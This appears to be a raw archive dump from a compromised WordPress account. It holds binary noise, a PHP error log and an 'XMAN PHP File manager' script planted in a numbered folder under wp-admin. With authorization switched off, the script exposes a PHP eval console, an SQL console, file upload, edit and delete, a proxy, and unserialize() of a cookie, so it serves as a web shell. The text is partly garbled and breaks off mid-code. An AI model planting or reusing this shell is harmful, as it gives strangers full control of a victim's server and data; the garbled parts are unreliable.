S���_���v�e�[�v7c&�XI��rj�kg�^̯ȯ7�i�Z~���`�Uy�z}1A-����+��N	f�+�ߘ�3u��EM���d���7f�`�"ױ:j��M\�I9a�����&���>��9?ޔ�6��_�kȥ��83��Z�o�&h%4��%܊��NU]~�<�/�}h�r�|�h�Ũbg3��ew?�KC��2b�Q���^`��A���8�w�ԭ5����X��=�-(��}U3z���@k���"�5��b[�g����>��H�x�j>zR���QYuY}�Ʈ��
���P��3a����Ġ�Cԣ�P�y���ޣP7Kz��A�#	*�upoJV���D�{.�b��N�����䓂��Ud�fb������..Pf�\b)��x@�E�OSEެ��`����dQ
@U�X�n��\l�M�˅��#��6��phJ���%7��Q�d9"-}����V�F}��[S����>3�)��8���w
B,@�1�bBј��0���̩y��s�ѱ�A0�ʺ��v���趪fU��"4�<T����t�8sȡL��� got!��
���FY�^��7�`v:'�&��� �w^-H_ֻ}[��ϡN��ѢG0��\���$ʯ�|�B`��d4�QP�������=��G�����3{<'{���h<��L"!�aYl,�<��DC�4��l�A�����
[.�7�Օ"H���]0��;���@ߝ#^����ae�VW��$�ϫ�p��*�2L�Gt����i�2���!ߠ�Kym���ɾ2�%F�y�1W[�1n�G�B��3���;�Xx���j�LY1� ޿�n��`�
�W��..�j ��Ɋ"��^���x�J0*�7���z�t���r��|U#:L�gLj1�c�Am��d;m&�ڬޞ!֬��B��(��u\�]���H�62�����/p;����}�̟�
����l�:��x�\�#Z���zEW��DC��e�Xa�c9e耉 r���Bo���]S��Jt[��΍y�╥切�,���ϑ/"8�P�zb��>+lP��B�s���ɯ7s�%��Vv��&z�"�u�����?]>�O������V�əG���p����n����@�A��!���e��>��~�C��|�h�v�_��W;��ۃ�|�y'L��-�^�ȅ^h�F,v
x$mM���l�0����n�o@���F�iy�y�Ws1=�6ƥ"�q�� ���L�?ݒ�U���F*���(6�[���qI�Z�>�&g�����fX�)���NC�w���ݧj�Xk`p=��	�nr�C����Gv0-+�"wXӿ��PZ3E~|��~��Ķ1GW<7�C*8_����1u��'uS_	R����ǧ��ǵ��_G�q�C�Ƹ��դh����'�P������o?����s��]Ce`DPK=3�\��;��	error_lognu�[���[21-Apr-2026 09:54:41 UTC] PHP Warning:  file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/emeraadmin/public_html/wp-admin/792784/index.php on line 88
[21-Apr-2026 09:54:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: no suitable wrapper could be found in /home/emeraadmin/public_html/wp-admin/792784/index.php on line 88
[21-Apr-2026 16:57:22 UTC] PHP Warning:  file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/emeraadmin/public_html/wp-admin/792784/index.php on line 88
[21-Apr-2026 16:57:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: no suitable wrapper could be found in /home/emeraadmin/public_html/wp-admin/792784/index.php on line 88
[27-Apr-2026 05:26:48 UTC] PHP Warning:  fileperms(): stat failed for /home/emeraadmin/public_html/wp-admin/66ca7724bef3.php in /home/emeraadmin/public_html/wp-admin/792784/index.php on line 134
[27-Apr-2026 06:25:40 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/games/public_html" that is not in the base directory "/home/emeraadmin/public_html/wp-admin/configLSN" in /home/emeraadmin/public_html/wp-admin/792784/index.php:1056
Stack trace:
#0 /home/emeraadmin/public_html/wp-admin/792784/index.php(1056): PharData->buildFromDirectory('/home/emeraadmi...')
#1 {main}
  thrown in /home/emeraadmin/public_html/wp-admin/792784/index.php on line 1056
PK=3�\o����
792784.tarnu�[���index.php000064400000236740151736005430006404 0ustar00@ breeze #7 ! dragon �)"�_�&�_')���@ breeze #7 @ breeze #7 @ breeze #7 _�'�)�(�(-�)���()_��)@ breeze #7 @ breeze #7 �&�_')���)(_�'�)�(��)'�)�"(-��"()-��"_�)��_�)�_�'<?php
/* XMAN PHP File manager ver 1.4 */

// Configuration �� do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"����ҧѧӧڧ��","Are you sure you want to delete this directory (recursively)?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ���� ��ѧ�ܧ� (��֧ܧ���ڧӧߧ�)?","Are you sure you want to delete this file?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ����� ��ѧۧ�?","Archiving":"�����ڧӧڧ��ӧѧ��","Authorization":"���ӧ���ڧ٧ѧ�ڧ�","Back":"���ѧ٧ѧ�","Cancel":"����ާ֧ߧ�","Chinese":"���ڧ�ѧۧ�ܧڧ�","Compress":"���اѧ��","Console":"����ߧ��ݧ�","Cookie":"����ܧ�","Created":"����٧էѧ�","Date":"���ѧ��","Days":"���ߧ֧�","Decompress":"���ѧ��ѧܧ�ӧѧ��","Delete":"���էѧݧڧ��","Deleted":"���էѧݧ֧ߧ�","Download":"���ܧѧ�ѧ��","done":"�٧ѧܧ�ߧ�֧ߧ�","Edit":"���֧էѧܧ�ڧ��ӧѧ��","Enter":"������","English":"���ߧԧݧڧۧ�ܧڧ�","Error occurred":"�����ڧ٧��ݧ� ���ڧҧܧ�","File manager":"���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧�","File selected":"����ҧ�ѧ� ��ѧۧ�","File updated":"���ѧۧ� �����ѧߧ֧�","Filename":"���ާ� ��ѧۧݧ�","Files uploaded":"���ѧۧ� �٧ѧԧ��ا֧�","French":"����ѧߧ��٧�ܧڧ�","Generation time":"���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��","German":"���֧ާ֧�ܧڧ�","Home":"����ާ��","Quit":"�������","Language":"���٧��","Login":"����ԧڧ�","Manage":"�����ѧӧݧ֧ߧڧ�","Make directory":"����٧էѧ�� ��ѧ�ܧ�","Name":"���ѧڧާ֧ߧ�ӧѧߧڧ�","New":"����ӧ��","New file":"����ӧ�� ��ѧۧ�","no files":"�ߧ֧� ��ѧۧݧ��","Password":"���ѧ��ݧ�","pictures":"�ڧ٧�ҧ�ѧا֧ߧڧ�","Recursively":"���֧ܧ���ڧӧߧ�","Rename":"���֧�֧ڧާ֧ߧ�ӧѧ��","Reset":"���ҧ���ڧ��","Reset settings":"���ҧ���ڧ�� �ߧѧ����ۧܧ�","Restore file time after editing":"�������ѧߧѧӧݧڧӧѧ�� �ӧ�֧ާ� ��ѧۧݧ� ����ݧ� ��֧էѧܧ�ڧ��ӧѧߧڧ�","Result":"���֧٧�ݧ��ѧ�","Rights":"����ѧӧ�","Russian":"������ܧڧ�","Save":"������ѧߧڧ��","Select":"����ҧ֧�ڧ��","Select the file":"����ҧ֧�ڧ�� ��ѧۧ�","Settings":"���ѧ����ۧܧ�","Show":"����ܧѧ٧ѧ��","Show size of the folder":"����ܧѧ٧�ӧѧ�� ��ѧ٧ާ֧� ��ѧ�ܧ�","Size":"���ѧ٧ާ֧�","Spanish":"�����ѧߧ�ܧڧ�","Submit":"������ѧӧڧ��","Task":"���ѧէѧ��","templates":"��ѧҧݧ�ߧ�","Ukrainian":"���ܧ�ѧڧߧ�ܧڧ�","Upload":"���ѧԧ��٧ڧ��","Value":"���ߧѧ�֧ߧڧ�","Hello":"����ڧӧ֧�","Found in files":"���ѧۧէ֧ߧ� �� ��ѧۧݧѧ�","Search":"����ڧ��","Recursive search":"���֧ܧ���ڧӧߧ�� ���ڧ��","Mask":"���ѧ�ܧ�"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size �� maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' �� '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//�ܧѧ�-��� ���ا� ���էާ֧ߧ��� �ߧѧէ�
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
